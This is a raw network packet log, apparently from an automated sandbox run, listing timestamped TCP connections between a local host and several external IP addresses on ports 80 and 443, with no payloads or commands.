Nov 28, 2024 00:19:36.666817904 CET	443	49783	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:36.678761959 CET	80	49766	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:36.678845882 CET	49766	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:36.849431992 CET	443	49782	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:36.849509001 CET	443	49782	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:36.849554062 CET	49782	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:36.869118929 CET	49782	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:36.869126081 CET	443	49782	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:36.869138956 CET	49782	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:36.869143963 CET	443	49782	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:36.902271986 CET	443	49785	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:36.934231997 CET	49785	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:36.934262991 CET	443	49785	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:36.945130110 CET	49785	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:36.945138931 CET	443	49785	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:37.043006897 CET	443	49783	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:37.043040991 CET	49790	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:37.043067932 CET	443	49783	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:37.043083906 CET	443	49790	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:37.043142080 CET	49783	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:37.043164015 CET	49790	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:37.053834915 CET	443	49784	94.245.104.56	192.168.2.6
Nov 28, 2024 00:19:37.053930044 CET	443	49784	94.245.104.56	192.168.2.6
Nov 28, 2024 00:19:37.054064989 CET	49784	443	192.168.2.6	94.245.104.56
Nov 28, 2024 00:19:37.060163021 CET	49783	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:37.060178995 CET	443	49783	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:37.060190916 CET	49783	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:37.060197115 CET	443	49783	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:37.071746111 CET	49790	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:37.071779013 CET	443	49790	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:37.103025913 CET	49791	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:37.103065968 CET	443	49791	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:37.103125095 CET	49791	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:37.104377985 CET	49784	443	192.168.2.6	94.245.104.56
Nov 28, 2024 00:19:37.104393005 CET	443	49784	94.245.104.56	192.168.2.6
Nov 28, 2024 00:19:37.110698938 CET	49791	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:37.110712051 CET	443	49791	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:37.165262938 CET	49766	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:37.165857077 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:37.290281057 CET	80	49766	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:37.291306019 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:37.291393042 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:37.293190002 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:37.293394089 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:37.357650995 CET	443	49785	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:37.357733965 CET	443	49785	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:37.357785940 CET	49785	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:37.358201027 CET	49785	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:37.358223915 CET	443	49785	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:37.358236074 CET	49785	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:37.358243942 CET	443	49785	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:37.364134073 CET	49796	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:37.364178896 CET	443	49796	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:37.364233971 CET	49796	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:37.364605904 CET	49796	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:37.364624023 CET	443	49796	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:37.400242090 CET	443	49787	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:37.402160883 CET	49787	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:37.402187109 CET	443	49787	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:37.402641058 CET	49787	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:37.402648926 CET	443	49787	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:37.418346882 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:37.418840885 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:37.420008898 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:37.420074940 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:37.909142017 CET	443	49787	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:37.909214973 CET	443	49787	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:37.909276009 CET	49787	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:37.930022955 CET	49787	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:37.930047035 CET	443	49787	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:37.930058002 CET	49787	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:37.930064917 CET	443	49787	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:37.940725088 CET	49803	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:37.940759897 CET	443	49803	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:37.940898895 CET	49803	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:37.948931932 CET	49803	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:37.948945045 CET	443	49803	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:38.089241028 CET	49804	443	192.168.2.6	2.16.158.75
Nov 28, 2024 00:19:38.089293003 CET	443	49804	2.16.158.75	192.168.2.6
Nov 28, 2024 00:19:38.089430094 CET	49804	443	192.168.2.6	2.16.158.75
Nov 28, 2024 00:19:38.089606047 CET	49804	443	192.168.2.6	2.16.158.75
Nov 28, 2024 00:19:38.089622021 CET	443	49804	2.16.158.75	192.168.2.6
Nov 28, 2024 00:19:38.690423012 CET	443	49790	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:38.802865982 CET	49809	443	192.168.2.6	2.16.158.75
Nov 28, 2024 00:19:38.802895069 CET	443	49809	2.16.158.75	192.168.2.6
Nov 28, 2024 00:19:38.803020000 CET	49809	443	192.168.2.6	2.16.158.75
Nov 28, 2024 00:19:38.821168900 CET	49809	443	192.168.2.6	2.16.158.75
Nov 28, 2024 00:19:38.821191072 CET	443	49809	2.16.158.75	192.168.2.6
Nov 28, 2024 00:19:38.848536968 CET	49790	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:38.848566055 CET	443	49790	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:38.849080086 CET	49790	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:38.849087000 CET	443	49790	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:38.944525003 CET	49815	443	192.168.2.6	18.165.220.57
Nov 28, 2024 00:19:38.944545031 CET	443	49815	18.165.220.57	192.168.2.6
Nov 28, 2024 00:19:38.944694042 CET	49815	443	192.168.2.6	18.165.220.57
Nov 28, 2024 00:19:38.945077896 CET	49815	443	192.168.2.6	18.165.220.57
Nov 28, 2024 00:19:38.945090055 CET	443	49815	18.165.220.57	192.168.2.6
Nov 28, 2024 00:19:38.972002029 CET	443	49791	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:38.974684000 CET	49791	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:38.974714041 CET	443	49791	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:38.975429058 CET	49791	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:38.975438118 CET	443	49791	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:39.120210886 CET	49818	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:39.120254040 CET	443	49818	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:39.120376110 CET	49818	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:39.120855093 CET	49819	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:39.120893002 CET	443	49819	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:39.120954037 CET	49819	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:39.121084929 CET	49818	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:39.121098042 CET	443	49818	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:39.121211052 CET	49819	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:39.121226072 CET	443	49819	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:39.128772020 CET	49820	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:39.128803015 CET	443	49820	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:39.129046917 CET	49820	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:39.129749060 CET	49820	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:39.129764080 CET	443	49820	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:39.177702904 CET	443	49790	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:39.177759886 CET	443	49790	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:39.178014040 CET	49790	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:39.215562105 CET	49790	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:39.215586901 CET	443	49790	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:39.215612888 CET	49790	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:39.215620041 CET	443	49790	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:39.251851082 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:39.255462885 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:39.269474983 CET	49821	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:39.269520998 CET	443	49821	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:39.269629002 CET	49821	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:39.282565117 CET	49821	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:39.282594919 CET	443	49821	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:39.433850050 CET	443	49791	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:39.433937073 CET	443	49791	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:39.434031963 CET	49791	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:39.434246063 CET	49791	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:39.434266090 CET	443	49791	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:39.434278011 CET	49791	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:39.434286118 CET	443	49791	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:39.469724894 CET	49822	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:39.469775915 CET	443	49822	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:39.469847918 CET	49822	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:39.470227957 CET	49822	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:39.470240116 CET	443	49822	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:39.470554113 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:39.477720022 CET	49819	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:39.478085041 CET	49823	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:39.478122950 CET	443	49823	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:39.478333950 CET	49823	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:39.479487896 CET	49820	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:39.479651928 CET	49824	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:39.479680061 CET	443	49824	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:39.479726076 CET	49824	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:39.480567932 CET	49824	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:39.480581999 CET	443	49824	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:39.481724024 CET	49818	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:39.481987000 CET	49815	443	192.168.2.6	18.165.220.57
Nov 28, 2024 00:19:39.482718945 CET	49804	443	192.168.2.6	2.16.158.75
Nov 28, 2024 00:19:39.482916117 CET	49809	443	192.168.2.6	2.16.158.75
Nov 28, 2024 00:19:39.485349894 CET	443	49759	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:39.486531019 CET	49759	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:39.486548901 CET	443	49759	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:39.486994028 CET	49759	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:39.487000942 CET	443	49759	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:39.491341114 CET	49830	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:39.491348028 CET	443	49830	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:39.491534948 CET	49830	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:39.492352009 CET	49823	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:39.492372990 CET	443	49823	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:39.493885040 CET	49830	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:39.493892908 CET	443	49830	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:39.523319006 CET	443	49819	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:39.523329020 CET	443	49809	2.16.158.75	192.168.2.6
Nov 28, 2024 00:19:39.523339033 CET	443	49815	18.165.220.57	192.168.2.6
Nov 28, 2024 00:19:39.527321100 CET	443	49804	2.16.158.75	192.168.2.6
Nov 28, 2024 00:19:39.527331114 CET	443	49820	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:39.527337074 CET	443	49818	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:39.594284058 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:39.599179983 CET	443	49796	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:39.599651098 CET	49796	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:39.599668980 CET	443	49796	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:39.600310087 CET	49796	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:39.600313902 CET	443	49796	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:39.745455980 CET	443	49803	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:39.745935917 CET	49803	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:39.745955944 CET	443	49803	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:39.746397018 CET	49803	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:39.746402979 CET	443	49803	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:39.894059896 CET	49833	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:39.894102097 CET	443	49833	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:39.894191027 CET	49833	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:39.894876957 CET	49833	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:39.894892931 CET	443	49833	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:39.906877995 CET	49834	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:39.906910896 CET	443	49834	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:39.906965017 CET	49834	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:39.907417059 CET	49834	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:39.907429934 CET	443	49834	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:39.926120043 CET	49835	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:39.926150084 CET	443	49835	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:39.926246881 CET	49835	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:39.926439047 CET	49835	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:39.926453114 CET	443	49835	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:39.927531004 CET	443	49759	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:39.927735090 CET	443	49759	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:39.927788019 CET	49759	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:39.927843094 CET	49759	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:39.927853107 CET	443	49759	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:39.927861929 CET	49759	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:39.927865982 CET	443	49759	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:39.930629969 CET	49836	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:39.930660009 CET	443	49836	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:39.930711031 CET	49836	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:39.930866003 CET	49836	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:39.930870056 CET	443	49836	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:40.041326046 CET	443	49796	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:40.041384935 CET	443	49796	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:40.041450977 CET	49796	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:40.041639090 CET	49796	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:40.041656017 CET	443	49796	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:40.041666985 CET	49796	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:40.041671991 CET	443	49796	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:40.044287920 CET	49837	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:40.044315100 CET	443	49837	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:40.044450045 CET	49837	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:40.044583082 CET	49837	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:40.044598103 CET	443	49837	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:40.060405970 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:40.060430050 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:40.060514927 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:40.060709953 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:40.060734034 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:40.206377029 CET	443	49803	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:40.206439972 CET	443	49803	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:40.206499100 CET	49803	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:40.206747055 CET	49803	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:40.206763029 CET	443	49803	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:40.206775904 CET	49803	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:40.206780910 CET	443	49803	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:40.210226059 CET	49839	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:40.210267067 CET	443	49839	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:40.210333109 CET	49839	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:40.210547924 CET	49839	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:40.210561991 CET	443	49839	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:40.398241997 CET	443	49818	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:40.398317099 CET	49818	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:40.402482033 CET	443	49820	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:40.402559042 CET	49820	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:40.430025101 CET	443	49819	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:40.430054903 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:40.430103064 CET	49819	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:40.430133104 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:40.492774010 CET	443	49809	2.16.158.75	192.168.2.6
Nov 28, 2024 00:19:40.492852926 CET	49809	443	192.168.2.6	2.16.158.75
Nov 28, 2024 00:19:40.681965113 CET	443	49815	18.165.220.57	192.168.2.6
Nov 28, 2024 00:19:40.682039022 CET	49815	443	192.168.2.6	18.165.220.57
Nov 28, 2024 00:19:40.707851887 CET	443	49823	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:40.708148956 CET	49823	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:40.708173037 CET	443	49823	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:40.709155083 CET	443	49823	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:40.709223986 CET	49823	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:40.710361958 CET	49823	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:40.710421085 CET	443	49823	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:40.710730076 CET	49823	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:40.710736036 CET	443	49823	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:40.747970104 CET	443	49804	2.16.158.75	192.168.2.6
Nov 28, 2024 00:19:40.748053074 CET	49804	443	192.168.2.6	2.16.158.75
Nov 28, 2024 00:19:40.759305954 CET	443	49830	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:40.759932041 CET	49830	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:40.759948015 CET	443	49830	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:40.761013985 CET	443	49830	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:40.761058092 CET	49830	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:40.762789011 CET	49830	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:40.762865067 CET	443	49830	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:40.763417006 CET	49830	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:40.763432026 CET	443	49830	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:40.789587975 CET	443	49824	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:40.789896965 CET	49824	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:40.789910078 CET	443	49824	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:40.790963888 CET	443	49824	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:40.791006088 CET	49824	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:40.792201996 CET	49824	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:40.792316914 CET	443	49824	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:40.792428017 CET	49824	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:40.792437077 CET	443	49824	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:40.818458080 CET	49823	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:40.818474054 CET	49830	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:40.865674973 CET	49824	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:40.913197041 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.036858082 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.074713945 CET	443	49821	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:41.075452089 CET	49821	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:41.075464010 CET	443	49821	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:41.076189041 CET	49821	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:41.076193094 CET	443	49821	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:41.150780916 CET	443	49823	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:41.150835037 CET	443	49823	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:41.150955915 CET	49823	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:41.151431084 CET	49823	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:41.151451111 CET	443	49823	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:41.158860922 CET	443	49833	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:41.169296980 CET	49833	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:41.169305086 CET	443	49833	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:41.170469999 CET	443	49833	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:41.170535088 CET	49833	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:41.172627926 CET	49833	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:41.172781944 CET	443	49833	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:41.173414946 CET	49833	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:41.173420906 CET	443	49833	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:41.198451996 CET	443	49822	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:41.199067116 CET	49822	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:41.199081898 CET	443	49822	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:41.199454069 CET	49822	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:41.199467897 CET	443	49822	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:41.211250067 CET	443	49830	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:41.211340904 CET	443	49830	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:41.211544991 CET	49830	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:41.211630106 CET	49830	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:41.211647034 CET	443	49830	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:41.217314959 CET	443	49834	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:41.217535973 CET	49834	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:41.217561960 CET	443	49834	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:41.218580008 CET	443	49834	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:41.218641996 CET	49834	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:41.218923092 CET	49834	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:41.218983889 CET	443	49834	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:41.235049963 CET	443	49835	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:41.235327959 CET	49835	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:41.235352993 CET	443	49835	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:41.235866070 CET	49840	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:41.235898972 CET	443	49840	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:41.236232996 CET	49840	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:41.236357927 CET	443	49835	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:41.236426115 CET	49835	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:41.236514091 CET	49840	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:41.236530066 CET	443	49840	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:41.236969948 CET	49835	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:41.237039089 CET	443	49835	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:41.237143040 CET	49835	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:41.250734091 CET	443	49824	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:41.250796080 CET	443	49824	172.64.41.3	192.168.2.6
